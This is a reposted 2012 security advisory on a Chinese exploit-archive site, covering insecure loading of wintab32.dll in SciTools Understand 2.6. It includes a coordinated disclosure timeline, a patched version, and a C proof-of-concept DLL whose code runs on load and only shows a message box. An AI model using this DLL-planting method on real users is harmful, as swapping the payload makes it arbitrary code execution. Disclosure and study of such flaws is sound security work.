首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SciTools Understand 2.6 DLL Loading Code Execution
来源:zeroscience.mk 作者:LiquidWorm 发布时间:2012-02-09  
/*


SciTools Understand 2.6 (wintab32.dll) DLL Loading Arbitrary Code Execution


Vendor: Scientific Toolworks, Inc.
Product web page: http://www.scitools.com
Affected version: 2.6 (build 598)

Summary: Understand is a static analysis tool for maintaining, measuring,
and analyzing critical or large code bases.

Desc: The vulnerability is caused due to the application loading libraries
(wintab32.dll) in an insecure manner. This can be exploited to load arbitrary
libraries by tricking a user into opening an Understand Project file (.UDB)
located on a remote WebDAV or SMB share.

Tested on: Microsoft Windows XP Professional SP3 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Vendor status:

[29.01.2012] Vulnerability discovered.
[30.01.2012] Contact with the vendor.
[30.01.2012] Vendor replies with e-mail info for their european partner.
[30.01.2012] Contacted the new e-mail given with sent details and PoC code.
[31.01.2012] Vendor answers and sends the report to the appropriate division.
[31.01.2012] Asked vendor for confirmation and scheduled patch release date.
[02.02.2012] Vendor responds with confirmation and a scheduled release for a fix.
[08.02.2012] Vendor releases patched version 2.6.600 (Build 600): http://scitools.com/download/latest/Understand/Understand-2.6.600-Windows-32bit.exe.
[08.02.2012] Coordinated public security advisory released.


Advisory ID: ZSL-2012-5071
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5071.php

Vendor advisory: http://www.scitools.com/support/buildLogs.php


29.01.2012

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

	switch (fdwReason)
	{
		case DLL_PROCESS_ATTACH:
		dll_mll();
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
		break;
	}

	return TRUE;
}

int dll_mll()
{
	MessageBox(0, "DLL Flownapped!", "DLL Message", MB_OK);
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·mozilla firefox <= 10.0 local
·PeerBlock 1.1 BSOD
·TORCS <= 1.3.2 xml buffer over
·Sysax Multi Server <= 5.52 Fil
·linux/x86 sys_execve("/sb
·os-x/x86 bind backdoor tcp por
·Quartzo InterApp Control 3.22
·Citrix Provisioning Services 5
·Adobe Flash Player MP4 Sequenc
·Typsoft FTP Server 1.10 Multip
·jetVideo 8.0.2 Denial of Servi
·Microsoft Internet Explorer 8
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved